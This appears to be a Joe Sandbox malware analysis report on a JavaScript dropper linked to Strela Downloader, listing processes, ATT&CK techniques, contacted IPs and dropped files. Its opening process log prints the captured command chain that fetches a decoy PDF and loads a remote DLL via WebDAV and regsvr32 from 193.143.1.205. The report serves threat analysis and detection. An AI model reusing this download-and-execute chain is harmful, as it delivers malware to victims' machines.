Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118272100322878.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
248185965269371196.js	7%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/u/kk	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.43	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2712116817.000001E7B4A00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1506928447.000001E7B47B0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/pace	net.exe, 00000007.00000002.1510243594.0000020157EF8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000003.1508978272.0000020157F1E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1510577623.0000020157F51000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1510243594.0000020157EF8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1508978272.0000020157F29000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1510385237.0000020157F29000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1510385237.0000020157F1E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1506582702.0000020157F4F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/u/kk	net.exe, 00000007.00000003.1508978272.0000020157F29000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1510385237.0000020157F29000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588762
Start date and time:	2025-01-11 05:11:21 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	248185965269371196.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 52.6.155.20, 52.22.41.97, 3.219.243.226, 3.233.129.217, 172.64.41.3, 162.159.61.3, 2.23.242.162, 199.232.210.172, 23.209.209.135, 2.16.168.107, 2.16.168.105, 4.175.87.197, 104.76.100.172
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, d.8.0.a.e.e.f.b.0.0.0.0.0.0.0.0.5.0.0.0.0.0.8.0.0.3.0.1.3.0.6.2.ip6.arpa, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
23:12:21	API Interceptor	23x Sleep call for process: powershell.exe modified
23:12:25	API Interceptor	1x Sleep call for process: net.exe modified
23:12:25	API Interceptor	2x Sleep call for process: svchost.exe modified
23:12:38	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	321646101945257.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1223923852588014617.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7003183412181430311.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12728322661441225103.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2926013193173129097.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	91931239167124381.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	467631239147784826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22964327542023110895.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	301425897285010519.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2949911514285745182.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	12728322661441225103.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	467631239147784826.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	22964327542023110895.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	RzEqKuZBuK.exe	Get hash	malicious	GuLoader	Browse	199.232.210.172
	301425897285010519.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2708993316838119.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	26999259552055117101.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	622118739225021737.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	32139134812378922139.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	42384357676028189.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	2949911514285745182.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	24667857242018421.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.23
	20891229701394327174.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.23
	25717297553175212150.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.22
	279482651296229246.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.22
	2851627061208688962.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	219751261441155514.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43
	1907125702104121563.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.26
	1709323591581122310.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.23

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1709817689110827228.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	321646101945257.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1223923852588014617.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7003183412181430311.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12728322661441225103.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2926013193173129097.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1012716259541818656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	91931239167124381.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23858205001607627322.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	467631239147784826.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8021925380301507
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAX:RJE+Lfki1GjHwU/+vVhWqp+
MD5:	98411C878852418B8094B9353D2C9AB9
SHA1:	6E6B9245B74D7274CBA26B6CC044C3AB5660BA87
SHA-256:	0ECE4CA4F0957CF7F88D34ECC87529148150BB5E10610ACE3EAB0E8C14CBF664
SHA-512:	05BDA5D7ACB2A261DABDE51AE93DCD947E200C746278BFF197606BF4E6CFD667F24B71DA1973F06C8DFBCF0602CCD37F363126760EB61C04647930AB4565A13F
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xd857c08f, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9433131901068931
Encrypted:	false
SSDEEP:	1536:jSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:jazaHvxXy2V2UR
MD5:	B458260A04A7CC384A80526413446A92
SHA1:	D7125286F542DD3226E17A7433FD139B6C57C180
SHA-256:	67461E1A3D5B53B7691A049DC4B58AF856700CB09E42272C6187C788558FAEE7
SHA-512:	3CAA6CEC11B29B2C979F7D30C9A25FAE33681B3F6E515AAC4FE9C373C5B62520A1295CB49937D33AE0C058E5E9AD46CD272C948B4D3B481B966D1D0776B4ACD8
Malicious:	false
Preview:	.W..... ...............X\...;...{......................0.x...... ...{s......}..h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{..................................f.a.....}...................D^C.....}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	COM executable for DOS
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08153764902110348
Encrypted:	false
SSDEEP:	3:ZtEYeLjD/gvesl/nqlFcl1ZUllllRjD4llGBnX/l/Tj/k7/t:Z6zLn/qesl/qlFclQ/ljDo254
MD5:	F1BE774CF7632F6CD4F2F26C0C70718D
SHA1:	46787B83ABECE6E51A60FE81D1FD1BF72903BEF0
SHA-256:	D974EB08E164509D0955BB1F2534AB9F9DE9809EC69CFFB77807456DCC7AA44B
SHA-512:	32261A416961F94045E9273B9814FB9FE4D01F3BA92708978BA09017297C19A35443218CBC4A532CC9328CEF5A837837BF4896FAF386BBE6C2C7C3D0B3C924BA
Malicious:	false
Preview:	..<......................................;...{.......}... ...{s.......... ...{s.. ...{s.P.... ...{s..................D^C.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.142443830301004
Encrypted:	false
SSDEEP:	6:iO4q5Xj+q2PCHhJ2nKuAl9OmbnIFUtSq5XjWZmwsq5XWVkwOCHhJ2nKuAl9Ombjd:7bj+vBHAahFUtFjW/nWV56HAaSJ
MD5:	24FABA8FE952E4A117D2A67747E58801
SHA1:	3520398CC0CF590C9171BE55672F7B4BA16E9D12
SHA-256:	783A036229589613635C737A1DF521EB324F690E0415BDBA02F9771D789A03E2
SHA-512:	AA68AAD6A3D25AD687AA286F13B0621AC497E0CBAE4857A74E2767424B3096F540F8D6FA9FBBC8324DC62597FED372AD4B1AA88E676419C8A944BC0D23E595AF
Malicious:	false
Preview:	2025/01/10-23:12:25.516 1fec Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:12:25.519 1fec Recovering log #3.2025/01/10-23:12:25.519 1fec Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.142443830301004
Encrypted:	false
SSDEEP:	6:iO4q5Xj+q2PCHhJ2nKuAl9OmbnIFUtSq5XjWZmwsq5XWVkwOCHhJ2nKuAl9Ombjd:7bj+vBHAahFUtFjW/nWV56HAaSJ
MD5:	24FABA8FE952E4A117D2A67747E58801
SHA1:	3520398CC0CF590C9171BE55672F7B4BA16E9D12
SHA-256:	783A036229589613635C737A1DF521EB324F690E0415BDBA02F9771D789A03E2
SHA-512:	AA68AAD6A3D25AD687AA286F13B0621AC497E0CBAE4857A74E2767424B3096F540F8D6FA9FBBC8324DC62597FED372AD4B1AA88E676419C8A944BC0D23E595AF
Malicious:	false
Preview:	2025/01/10-23:12:25.516 1fec Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:12:25.519 1fec Recovering log #3.2025/01/10-23:12:25.519 1fec Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.174802408575571
Encrypted:	false
SSDEEP:	6:iO4q5XiN+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSq5XQulZmwsq5XmU6VkwOCHhJ2ng:7biIvBHAa8uFUtFBl/njy56HAa8RJ
MD5:	F495F6BADE18D696384DC289D0F37F75
SHA1:	DE4817019226BF5BC996461B6E1B6159BB0BB3EE
SHA-256:	62F63E97A444779C6BA1DFD0E9655B8AD07727C5F9322CA5EC5853DB0A906020
SHA-512:	B940076C06A7F9A55CF0BAA31B7D6F67B8C9E57F59E39C2B778D2A4EB5CB1FCB3766337B9B11E3F0081502203B7ED6B17B4F773CDD99595C029279CE2ADFCCE3
Malicious:	false
Preview:	2025/01/10-23:12:25.584 1178 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:12:25.587 1178 Recovering log #3.2025/01/10-23:12:25.588 1178 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.174802408575571
Encrypted:	false
SSDEEP:	6:iO4q5XiN+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSq5XQulZmwsq5XmU6VkwOCHhJ2ng:7biIvBHAa8uFUtFBl/njy56HAa8RJ
MD5:	F495F6BADE18D696384DC289D0F37F75
SHA1:	DE4817019226BF5BC996461B6E1B6159BB0BB3EE
SHA-256:	62F63E97A444779C6BA1DFD0E9655B8AD07727C5F9322CA5EC5853DB0A906020
SHA-512:	B940076C06A7F9A55CF0BAA31B7D6F67B8C9E57F59E39C2B778D2A4EB5CB1FCB3766337B9B11E3F0081502203B7ED6B17B4F773CDD99595C029279CE2ADFCCE3
Malicious:	false
Preview:	2025/01/10-23:12:25.584 1178 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:12:25.587 1178 Recovering log #3.2025/01/10-23:12:25.588 1178 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\18789a9d-a09a-4ff2-b693-418d6bba282e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.963296319223512
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq4vxsBdOg2HxZcaq3QYiub6P7E4T3y:Y2sRdsdadMH23QYhbS7nby
MD5:	2564A3768C82B651B6B8B069263F96B4
SHA1:	9467F36C78E50C6241D1B25AFAB0E38FA5256ADB
SHA-256:	113A0188A2D3C3F2D8DF0981727CB01BDB573807C4BB752113CF1BF5A5D48E5B
SHA-512:	E1B3E6F77EAC36C22E2806EDA340B013BF5C6C8894798D8B7B75219336DBC60A0784DD13DC77C06D04E129CB2D72748BFF9390C663B06C540D3EEE21130CD549
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381128757974367","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146712},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.963296319223512
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq4vxsBdOg2HxZcaq3QYiub6P7E4T3y:Y2sRdsdadMH23QYhbS7nby
MD5:	2564A3768C82B651B6B8B069263F96B4
SHA1:	9467F36C78E50C6241D1B25AFAB0E38FA5256ADB
SHA-256:	113A0188A2D3C3F2D8DF0981727CB01BDB573807C4BB752113CF1BF5A5D48E5B
SHA-512:	E1B3E6F77EAC36C22E2806EDA340B013BF5C6C8894798D8B7B75219336DBC60A0784DD13DC77C06D04E129CB2D72748BFF9390C663B06C540D3EEE21130CD549
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381128757974367","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146712},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.23737072396944
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+b3UvMDe:S43C4mS7fFi0KFYDjr3LWO3V3aw+b3UV
MD5:	02ADEF89CF4FB4C52CAA4B058B112042
SHA1:	EA6CB6704E51E8AD977E69DA80E7E3C24BB6928F
SHA-256:	F1F28B4086415C40B9DA4226C612B0735F7A3491CDB8361FD2C43A91F54AAB6F
SHA-512:	527F358E2BB4CC01184BEC7D5B39ED3F660C1D01E9C47365ED33418FA927C5CE83652E91A7F6B58A51149BC9D87D5FF6ED876244DEC974ACB795C8189D90EA0A
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.1980201376923825
Encrypted:	false
SSDEEP:	6:iO4q5X4+q2PCHhJ2nKuAl9OmbzNMxIFUtSq5XU25Zmwsq5XQbKNVkwOCHhJ2nKuP:7bNvBHAa8jFUtF95/nhz56HAa84J
MD5:	10C27D628155FE0EA8B5A095CB371DED
SHA1:	985972A0C3B70E12E31013453A9709339C6A1971
SHA-256:	55736449F7D760636B43223100D9DC5BCE21DC795A5BE7900AC925A8205E2A85
SHA-512:	78B9329F36BE942A6CB438587362539E241CCE244C1079298144F9634ADD47BCD5FAE9647AE6A8F8962D79C8737F464FFAE2D7CD25153FA05440600D2406C575
Malicious:	false
Preview:	2025/01/10-23:12:25.928 1178 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:12:25.932 1178 Recovering log #3.2025/01/10-23:12:25.936 1178 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.1980201376923825
Encrypted:	false
SSDEEP:	6:iO4q5X4+q2PCHhJ2nKuAl9OmbzNMxIFUtSq5XU25Zmwsq5XQbKNVkwOCHhJ2nKuP:7bNvBHAa8jFUtF95/nhz56HAa84J
MD5:	10C27D628155FE0EA8B5A095CB371DED
SHA1:	985972A0C3B70E12E31013453A9709339C6A1971
SHA-256:	55736449F7D760636B43223100D9DC5BCE21DC795A5BE7900AC925A8205E2A85
SHA-512:	78B9329F36BE942A6CB438587362539E241CCE244C1079298144F9634ADD47BCD5FAE9647AE6A8F8962D79C8737F464FFAE2D7CD25153FA05440600D2406C575
Malicious:	false
Preview:	2025/01/10-23:12:25.928 1178 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:12:25.932 1178 Recovering log #3.2025/01/10-23:12:25.936 1178 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
